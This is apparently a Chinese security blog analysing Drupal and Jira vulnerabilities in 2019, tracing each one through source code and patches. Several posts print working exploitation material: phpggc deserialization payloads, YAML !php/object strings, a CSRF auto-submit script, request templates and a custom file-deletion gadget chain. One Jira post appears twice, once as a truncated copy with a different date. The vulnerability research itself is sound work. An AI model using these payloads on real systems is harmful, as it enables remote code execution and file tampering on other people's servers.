Drupal on 诗与胡说

SA-CORE-2019-008 Drupal访问绕过漏洞分析

Fri, 19 Jul 2019 10:27:05 +0000

0x01 概述

7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号CVE-2019-6342

公告地址：https://www.drupal.org/sa-core-2019-008

0x02 受影响的版本

Drupal Version == 8.7.4

0x03 漏洞复现

安装Drupal 8.7.4版本，登录管理员账户，进入后台/admin/modules，勾选Workspaces模块并安装

在页面上方出现如下页面则安装成功，管理员可以切换Stage模式或者Live模式

另外开启一个浏览器访问首页（未登录任何账户），访问http://127.0.0.1/drupal-8.7.4/node/add/article

可直接添加文章，无需作者或管理员权限。

受影响操作包括基本文章操作（添加、修改、删除、上传附件等）

0x04 漏洞分析

Workspaces的功能

Workspaces是Drupal 8.6核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。

Workspaces有两种模式，分别为Stage模式和Live模式，，默认为Live模式，两者的区别在于：

Stage模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过Deploy to Live发布到实际环境，相当于一个暂存区；

Live下更新是即时的，发布后站点内容立即更新。

在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块EntityAccess下。

漏洞分析

当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(EventListener)的RouterListener类，在其onKernelRequest()方法中调用AccessAwareRouter类的matchRequest()方法，随后调用AccessManager->checkRequest()方法，最后在AccessManager->performCheck()方法中通过call_user_func_array回调对应的操作进入到具体的操作权限检查

例如发布文章时回调的是access_check.node.add，相关方法在NodeAccessControlHandler控制器中定义，这个控制器继承自EntityAccessControlHandler，在父类的createAccess()方法中回调对应操作的create_access权限，过程中会拼接上模块名和相应钩子作为回调函数，

$function = module . '_' . $hook

例如此处回调的是workspaces_entity_create_access()方法，进入到Workspaces中。

在调用entityCreateAccess()方法时有一个关键操作bypassAccessResult

bypassAccessResult()方法是一个检查用户是否有"绕过节点访问权限(bypass node access)"的操作，是Workspaces中特有的，这个方法决定了”如果用户在各自的激活的工作区中，那么他将拥有所有权限”，这里的所有权限指文章相关的增删改操作。

这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台admin/people/permissions中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限

当开启了Bypass content entity access in own workspace权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。

具体分析一下bypassAccessResult()的实现，整个过程返回的是AccessResultAllowed对象或者AccessResultNeutral对象，所谓”中立”是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是access和forbidden的区别：

首先获取了当前激活的工作区，然后通过allowedIf判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次allowedIfHasPermission判断，这个方法的作用是，如果权限不对就设置一个reason，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个AccessResultNeutral对象，也就是”禁止”。

接下来就是出现问题的地方

$owner_has_access->orIf(access_bypass);

通过补丁可以发现漏洞就修补了这行语句，把orIf换成了andIf

这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为”中立”的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。

具体到此次漏洞上的区别如下方图片所示：

orIf()

返回的是AccessResultAllowed对象

andIf()

返回的是AccessResultNeutral对象

在检查完毕后会回到AccessAwareRouter->checkAccess()方法，在该方法中对返回结果进行了判断，AccessResultNeutral的isAllowed()返回false，因此会抛出异常

返回到页面上则是Access denied

更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。

0x05 总结

此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal 8.7.4版本，并且需要开启Workspaces模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级Drupal版本或者关闭Workspaces模块以消除漏洞影响。

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Wed, 17 Jul 2019 10:52:08 +0000

0x01 概述

7月10日，Atlassian官方发布安全公告，修复了Jira Server和Jira Data Center的一个模板注入漏洞，CVE编号CVE-2019-11581

公告地址：https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html

0x02 环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

0x03 漏洞分析

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

在sendTo()流程中，Jira需要通过EmailBuilder()方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发payload可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以payload可能会触发多次。

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

通过EmailBuilder的withSubject()方法，创建一个TemplateSources$fragment对象，参数即是我们传入的payload，随后调用renderLater()方法创建出EmailBuilder对象，再将该对象作为参数传递给RenderingMailQueueItem类，RenderingMailQueueItem的继承关系是如下图，于是最终创建出一个MailQueueItem对象，并将该对象放入邮件发送队列。

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

在处理完Object模板后会调用父类SingleMailQueueItem的send()方法，通过smtpMailServer.sendWithMessageId()发送邮件，由于没有正确配置SMTP服务会抛出异常，但在连接SMTP服务之前漏洞已经触发了，控制台也能看到MailQueue执行的过程。

思考

上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题Subject会被解析成AST结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成AST，导致差异的原因是什么？

发送一封正常的“联系管理员”邮件，走一遍流程

对比一下两个处理流程，当发送正常反馈时，writeEncodedBody()中调用的是this.getVe().mergeTemplate，通过Velocity引擎的ClasspathResourceLoader()类的getResourceStream()方法加载模板文件，此处的模板是templates/email/html/contactadministrator.vm，随后还会进行header、footer等正常加载流程，最终渲染出整个页面。而发送payload时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把source成员变量赋值为这个Fragment对象，于是进入第一个分支，调用的是this.getVe().evaluate()，最终调用ASTMethod.execute()，这正是前面说的差异性导致的两个不同处理逻辑。

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

而ASTMethod.execute()方法设计之初是在Velocity parse解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了java.lang.Runtime.getRuntime，成功达到命令执行的目的，漏洞利用十分精巧。

补充：严格意义上讲这不属于一个模板注入漏洞，因为代码并没有“注入”到某一个模板中，漏洞触发过程是在解析模板文件之前，利用的是解析模板的过程，恶意代码并没有真正落地也没有插入到某个模板里面，所以称之为“代码注入”也许更合适。

参考

SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析

Mon, 22 Apr 2019 15:19:04 +0000

0x01 概述

3月20日，Drupal官方发布SA-CORE-2019-004漏洞预警，修复了一处文件名处理异常，当我们上传特殊文件名时可以绕过限制在服务器上创建“无后缀”文件，精心构造的文件经过浏览器解析后可以触发XSS漏洞，再进一步可以达到代码执行的目的。

官方描述该漏洞为中危影响，因为该漏洞需要登录，并且需要作者权限来上传文件才能触发。

详细参考：https://www.drupal.org/sa-core-2019-004

0x02 漏洞分析

根据官方补丁，最主要修改了一处preg_replace异常，修改的方法为file.inc:file_create_filename()

该方法的主要功能是处理上传文件的路径，返回形如public://2019-04/1.png的路径，然后由drupal自身实现的方法将public://路径转换为相对路径。如果文件系统已经存在同名文件，则在文件名会追加_0, _1。问题出在这行处理utf-8编码的代码上

$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);

这行代码的意思的如果文件名中含有0x00-0x1F区间的字符时，将其转换为_。查看标准ASCII码表，字符所对应的十进制数范围为0-127，0x00-0x1F对应的数为0-31，也就是前32个不常见或者说不可显字符。假如我们传入的字符范围大于128时，preg_replace便会出错，返回一个NULL值，于是此时的basename便被赋值为空，而下面对basename也没有多余的操作，于是我们就得到了一个没有后缀的文件，而且这个文件的名称也是可以预测的，相关代码如下

if (file_exists($destination)) {
    // Destination file already exists, generate an alternative.
    $pos = strrpos($basename, '.');
    if ($pos !== FALSE) {
      $name = substr($basename, 0, $pos);
      $ext = substr($basename, $pos);
    }
    else {
      $name = $basename;
      $ext = '';
    }

    $counter = 0;
    do {
      $destination = $directory . $separator . $name . '_' . $counter++ . $ext;
    } while (file_exists($destination));
  }

在开始有一个file_exists判断，所以我们需要上传相同文件至少两次，才能进入if分支。由于$basename为空，$name也被赋值为空，接下来进入一个循环，如果文件已经存在，就把文件命名为路径+分隔符+name+_+counter+后缀的形式，也就是同名文件会被加上后缀_0 _1等，而此时表达式的值即为下划线+计数器的值，于是我们在/sites/default/files/pictures/<YYYY-MM>/目录下得到类似_0 _1的无后缀文件。

值得注意的是，上传的文件可以是任意类型，不局限于图片文件，可以通过http://drupal-site/sites/default/files/<YYYY-MM>/_1访问到文件。

0x03 尝试利用

初探

此时我们想到，可以上传一个html文件，诱使管理员点击形成一个XSS漏洞。

但是这里存在一个问题，当通过Home >> Add content >> 上传Image上传文件时，如果传了一个纯HTML文件，是无法上传成功的，因为在core/modules/file/file.module里有一个检查

$errors = file_validate($file, $validators);

file_validate()方法通过下图4个方法检查图片有效性

其中file_validate_is_image方法使用了ImageFactory库，非图片文件无法通过这个检查，于是上传失败，也就无法在sites/default/files/<YYYY-MM>/生成文件。

当然这里是可以绕过的，那就是在上传的内容前加上图片文件头，例如GIF或GIF89a，能够绕过file_validate_is_image检查上传文件，然而这并没有什么用，因为访问http://drupal-site/sites/default/files/<YYYY-MM>/_1时，浏览器无法判断文件类型，所以不会解析…

也就是说

纯HTML文件无后缀，浏览器可以解析，但是无法上传；
增加图片文件头，可以上传，但是浏览器不能解析；

于是现在陷入一个两难境地，需要找个另外的点。

突破

我们注意到在新建文章页面除了上传图片外，还有一个编辑器内置的图片上传接口，从这个接口分析一下

跟入相关方法，之前的流程都是一样的，同样会进入file_validate()方法，同样检测文件合法性，但是此时的$validators有所不一样：

file_validate_is_image变成了file_validate_image_resolution，这个方法是检测图片是否符合大小，但是对于非图片文件会直接忽略，返回一个空数组

方法说明里也说了会忽略非图片文件

Non-image files will be ignored.

于是file_validate()不报错，校验通过，成功上传文件，目录是sites/default/files/inline-images/，访问文件成功触发

现在可以利用这个漏洞上传一个html文件，攻击面就扩大了许多，简单的可以是一个XSS，复杂的可以是个钓鱼页面(这个漏洞需要作者权限，故可以钓鱼管理员)，再进一步，如何进行命令执行甚至反弹一个shell呢？

组合拳

联想到1月份Drupal官方修复的SA-CORE-2019-002漏洞，文件操作函数处理phar文件时会触发反序列化形成代码执行漏洞，在此处正好可以用上。phar反序列化风险影响几乎所有文件操作函数，而在Drupal中File system功能就存在这个缺陷，在设置本地临时文件夹的时候会进行路径检查，相关方法是system_check_directory()

在这个方法中存在is_dir()函数，当is_dir()函数处理phar:// stream wrapper时，便会触发反序列化，如果传入一个恶意构造的phar文件就可以造成代码执行。

因此现在的思路是，上传一个phar文件，诱使管理员点击链接把临时文件路径设置为phar://test.phar触发漏洞反弹shell

0x04 漏洞利用

通过上述分析，有几个限制需要突破：

生成的phar文件不能通过图片上传接口上传，否则会失败；
需要写一个html让管理员打开链接自动发送请求来修改临时文件路径；

因此漏洞利用分为以下几步：

生成一个能反弹shell的phar文件；

Drupal反序列化的POP链已经比较多了，可以参考这里由 PHPGGC 理解 PHP 反序列化漏洞

选择GuzzleHttp\Psr7类，使用PHARGGC直接生成phar文件
上传phar文件

把out.phar修改为png后缀，通过编辑器的接口上传，获得文件路径

http://127.0.0.1/drupal-8.6.5/sites/default/files/inline-images/phar.png
生成一个html文件

这个html文件需要让管理员打开链接时自动发送请求来修改临时文件路径，与CSRF非常相似，所以直接使用burpsuite抓包生成CSRF PoC

然后增加一个自动点击提交表单的操作，省去手动submit
```
<script type="text/javascript">
    var a  = document.getElementById('form1')
    a.submit()
</script>
```
再通过编辑器的接口上传这个html文件，修改文件名的ascii值大于128。注意需要上传至少两次，以生成_0、_1文件
访问http://drupal-site/sites/default/files/inline-images/_0时浏览器解析为html并自动提交表单，触发漏洞

这里因为反弹shell会把页面卡住，可以增加一个跳转首页，更隐蔽地触发漏洞。

0x05 总结

这个漏洞由一个preg_replace()引起，由于没有正确处理异常，导致可以上传“任意”文件；而phar反序列化漏洞在一年前就已经公布了，把几个漏洞组合在一起形成一条漂亮的攻击链，值得学习。站在管理员角度应该关注安全更新，及时更新应用，而对于开发者来说也要重视安全风险，不可忽视任何一处不起眼的安全隐患。

参考：

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

思考

发送一封正常的“联系管理员”邮件，走一遍流程

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

参考

SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

0x01 概述

https://www.drupal.org/sa-core-2019-003

0x02 影响版本

Drupal 8.6.x < 8.6.10
Drupal 8.5.x < 8.5.11

影响条件

站点启用了Drupal 8核心RESTful Web服务(rest)模块，并允许PATCH或POST请求
站点启用了另一个Web服务模块，如Drupal 8中的JSON:API，或Drupal 7中的Services或RESTful Web Services

0x03 Web Services

Drupal框架的RESTful Web服务是为了更方便地访问Drupal站点的资源，支持常规的api请求，如GET / POST / PATCH / DELETE（出于一些原因不支持PUT ）

更详细的介绍可以参考 https://www.drupal.org/docs/8/core/modules/rest/overview

这个漏洞影响REST Web Services，所以首先在Drupal 8中开启rest服务

下载REST UI并解压至core/modules/目录
在admin-config-extend勾选Web services中的RESTful Web Services和REST UI并安装，drupal会自动安装Serialization ，最好也安装HAL扩展，后续会使用hal_json数据格式

HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础，让API变的可读性更高，并且具有discoverable的特性.当我们拿到HAL API返回的数据时，我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中，倾向于采用HAL这种类型的数据交换格式.

HAL的出现，主要弥补plain json在API交互中的不足.让plain json更具有描述性，更具有导航性.

开启权限。在admin-config-services-rest开启匿名用户注册权限

0x04 漏洞分析

根据补丁位置判断漏洞点在unserialize部分，因此这是一个反序列化漏洞。补丁主要修复了core/modules/link/src/Plugin/Field/FieldType/LinkItem.php和core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php两个文件，这两处应该都是能触发的，这里选择LinkItem进行分析

看一下setValue()方法

可以看到简单判断了$values['options']后直接进行了反序列化，没有进行数据合法性校验，如果能够控制$values['options']就能直接触发漏洞

接下来梳理一下数据传递过程，以及如何进入到setValue()方法

通过rest接口注册用户时，发送的数据包类似这个样子

(图片来源：https://areatype.com/blog/register-user-drupal-8-rest-api)

在进入drupal后，由RequestHandler->handle()方法处理请求，进入deserialize()方法，然后调用$this->serializer->denormalize()反序列化出相应的类，此时的$unserialized为Serializer类

随后调用Serializer->denormalize()方法，在该方法中首先通过getDenormalizer()获得一个匹配的denormalizer，才能进行后续的denormalize()操作，匹配的过程则是和当前类的supportedInterfaceOrClass变量比较，返回最终可以进行denormalize()操作的类

if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
    return $normalizer->denormalize($data, $type, $format, $context);
}

此处跟入比较深，可以略过，总之返回匹配的类是ContentEntityNormalizer，跟进它的denormalize()方法

$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);

这个方法中根据 _links.type 的值取出typed data IDs，_links.type 值即是post json部分的 "type": { "href": "http://127.0.0.1/drupal-8.6.5/rest/type/user/user" } 值，这个值决定了后面获取到的Entity实体，通过getTypeInternalIds()方法取出所有预定义的类型并返回相应的URI，然后才获取对应的实体类型定义

接着会调用这个实体的denormalizeFieldData()方法，在denormalizeFieldData()中调用相应的denormalize()方法，最终调用到这个field_item的setValue()。因此为了触发到存在漏洞的setValue()，我们需要让field_item为LinkItem类或者MapItem类，这个赋值过程在获取到相应实体后的getStorage()->create()过程：

$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

调用流程create()->doCreate()->initFieldValues()，此时的调用栈是这样的：

现在的问题就是找到相应的Entity，在其中实体化了LinkItem类或MapItem类，通过查找，在core/modules中这样的类有两个，Shortcut和MenuLinkContent，这里选择MenuLinkContent来触发，此时的_links.type为http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten

因此最后的数据包类似这个样子，注意link必须为数组

{
  "link": [
    {
      "options": payload
    }
  ],
  "_links": {
    "type": {
      "href": "http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content"
    }
  }
}

发送数据包成功触发到setValue()

接下来就是寻找内置的风险类了，进入setValue()后通过unserialize()执行代码。

0x05 PoC

在之前介绍phpggc工具的时候总结了Drupal中存在风险的三个类，分别可以导致远程代码执行、任意文件写入和任意文件删除，这三个类分别是

FnStream
FileCookieJar
WindowsPipes

具体参考：由phpggc理解php反序列化漏洞

同样地，借助phpggc直接生成序列化数据：

root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert 'phpinfo()' -j
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:9:\"phpinfo()\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"assert\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

发送payload

注意：如果返回码为422且报下面这个错误，尝试在/admin/config/development/performance点击清除缓存

{"message":"Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site."}

另外尝试用PoC脚本利用，每篇文章对应的node id利用一次就失效了，再次利用需要换一个node id，暂时没有研究为什么。

0x06 总结

这个漏洞触发点并不复杂，但是调用链相当深，利用条件则是开启了REST Web services，并且允许用户通过rest api注册，在一些功能比较齐全的站点或者方便插件调用时可能会开启，影响面减小了不少，但并不影响这依然是个非常巧妙的漏洞，也进一步说明了开发时考虑不周全的话，风险点就在那里，被利用只是时间问题。

由PHPGGC理解PHP反序列化漏洞

Mon, 08 Oct 2018 14:43:41 +0000

0x01 概述

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具，类似Java中的ysoserial，当前支持的框架包括Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii 和 ZendFramework，可以说是反序列化的武器库了。本文从该工具出发，以Drupal Yaml反序列化漏洞和Typo3反序列化漏洞为例，分析其中的多种利用方式，并介绍一下今年BlackHat议题关于新型php反序列化攻击的部分。

0x02 Drupal Yaml反序列化漏洞

一、介绍

关于Drupal就不过多介绍了，前阵子两个RCE漏洞杀伤力巨大，这次介绍的是去年披露的关于反序列化的漏洞，CVE-2017-6920，官方描述是YAML解析器处理不当导致的一个远程代码执行漏洞

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.

详情见SA-CORE-2017-003

二、漏洞分析

先来看一下补丁，diff 8.3.3 和 8.3.4 版本，主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php文件decode方法

可见在yaml_parse前进行了ini_set('yaml.decode_php', 0);

用户可控制的参数$raw直接传给了yaml_parse函数，而在手册上关于yaml_parse函数有这么一个注意点：

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

也就是说，如果使用了yaml标志!php/object，那么这个内容会通过unserialize()进行处理，设置yaml.decode_php则可以禁止，这就是为什么补丁增加了这行代码。

看一下调用decode()方法的地方，core/lib/Drupal/Component/Serialization/Yaml.php：

public static function decode($raw) {
    $serializer = static::getSerializer();
    return $serializer::decode($raw);
}

在Yaml类的decode()方法调用了static::getSerializer()方法，跟入

可以看到加载了yaml扩展后就会进入YamlPecl类，进而调用Yaml::decode()方法，搜索调用Yaml::decode并且参数能被控制的地方，在core/modules/config/src/Form/ConfigSingleImportForm.php的validateForm()方法：

$data = Yaml::decode($form_state->getValue('import'));

validateForm()的调用处在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import，decode()的参数直接从表单获取，于是通过import将恶意参数传递进去。

三、漏洞利用

现在我们需要找到一个类，使之在被反序列化的时候执行危险函数，常规搜索_destruct、_tostring以及_wakeup方法，在drupal核心中有这么三个类可以被利用，其中两个在phpggc工具中已经集成，另一个我们手动加入到phpggc中

1. 远程代码执行

vendor/guzzlehttp/psr7/src/FnStream.php FnStream类的__destruct()方法

  public function __destruct()
  {
      if (isset($this->_fn_close)) {
          call_user_func($this->_fn_close);
      }
  }

我们通过序列化这个类，传递参数_fn_close为任意php代码，在yaml_parse的时候反序列化便可以造成一个任意代码执行。

在PHPGGC中已经内置这个类，查看信息

看一下内部实现

phpggc将_fn_close参数设置为HandlerStack类，再在HandlerStack序列化的时候传入可控参数$handler，而在这个案例中我们不需要额外的HandlerStack类了，所以对generate()方法稍加修改，直接构造一个FnStream类，注意参数是array类型：

return new \GuzzleHttp\Psr7\FnStream([
    'close' => $code
]);

然后生成序列化数据：

接着拼接YAML_PHP_TAG即!php/object，并且要将字符串转义，注意序列化数据中的空字符，我们将其替换成\0，最终生成的字符串如下：

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/importimport序列化后的数据，便可以执行代码

2. 任意文件写入

上面call_user_func()造成了一个任意代码执行，我们再找到一个file_put_contents()造成任意文件写入

在vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php的FileCookieJar类

__destruct()调用save()方法，通过file_put_contents()写入文件内容，而文件名和文件内容均是我们可以控制的，所以此处可以写入一个shell

同样地看一下phpggc中有关FileCookieJar类的部分：gadgetchains/Guzzle/FW/1/chain.php

通过这个类生成序列化数据

需要提供远程文件路径和本地文件路径两个参数

接着还是拼接和转义，并import数据

写入的是整个json字符串，但是不影响代码执行。

3. 任意文件删除

另一个类是WindowsPipes，路径vendor/symfony/process/Pipes/WindowsPipes.php，该类可以造成文件删除

在phpggc中没有内置这个类，于是我们按照这个工具的框架来实现一下，方便理解该工具。

在lib/PHPGGC/GadgetChain.php已经有TYPE_FD这个类型，代表file_delete，那么我们直接在lib/PHPGGC/GadgetChain/注册一个FileDelete

<?php

namespace PHPGGC\GadgetChain;

abstract class FileDelete extends \PHPGGC\GadgetChain
{
    public static $type = self::TYPE_FD;
    public $parameters = [
        'file_name'
    ];
}

这个类就可以作为POP链拿来使用了

然后在Symfony目录下创建RMF/1，并创建chain和gadgets

gadgetchains/Symfony/RMF/1/chain.php

<?php

namespace GadgetChain\Symfony;

class RMF1 extends \PHPGGC\GadgetChain\FileDelete
{
    public $version = '2.6 <= 2.8.32';
    public $vector = '__destruct';
    public $author = 'crlf';
    public $informations = 'Remove remote file.';

    public function generate(array $parameters)
    {
        $input = $parameters['file_name'];

        return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
    }
}

gadgetchains/Symfony/RMF/1/gadgets.php

<?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
    private $files = array();

    public function __construct($input)
    {
        $this->files = array($input);
    }

}

我们直接生成WindowsPipes的序列化数据，把文件名作为参数传入，在反序列化的时候自动调用removeFiles()，实现任意文件删除

生成序列化字符串

import后文件被删除

四、总结

通过这个漏洞对phpggc工具有了一定了解，我们可以添加自定义POP链到工具中，用来丰富这个武器库。

另外针对这个漏洞，文件写入和文件删除都需要知道网站的绝对路径，加上需要登录后才能利用，一定程度上加大了利用难度。

0x03 Typo3反序列化漏洞

一、介绍

Typo3也是一款著名的CMS，但是在国内流行程度不如Wordpress。这个漏洞是今年BlackHat大会上由Sam Thomas分享反序列化漏洞议题时作为案例来讲的，该漏洞由phar://触发，这是一个新型的反序列化利用方式，日常开发中容易忽略这个风险点，在漏洞利用中也用到了phpggc这个工具，所以一并学习。

关于该漏洞的官方描述，可以看这里

二、phar://介绍

在分析漏洞前先介绍一下phar://伪协议，直接看php手册的介绍

Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与file:// php://等类似，也是一种流包装器。

phar结构由4部分组成

stub phar文件标识，格式为 xxx<?php xxx; __HALT_COMPILER();?>；
manifest 压缩文件的属性等信息，以序列化存储；
contents 压缩文件的内容；
signature 签名，放在文件末尾；

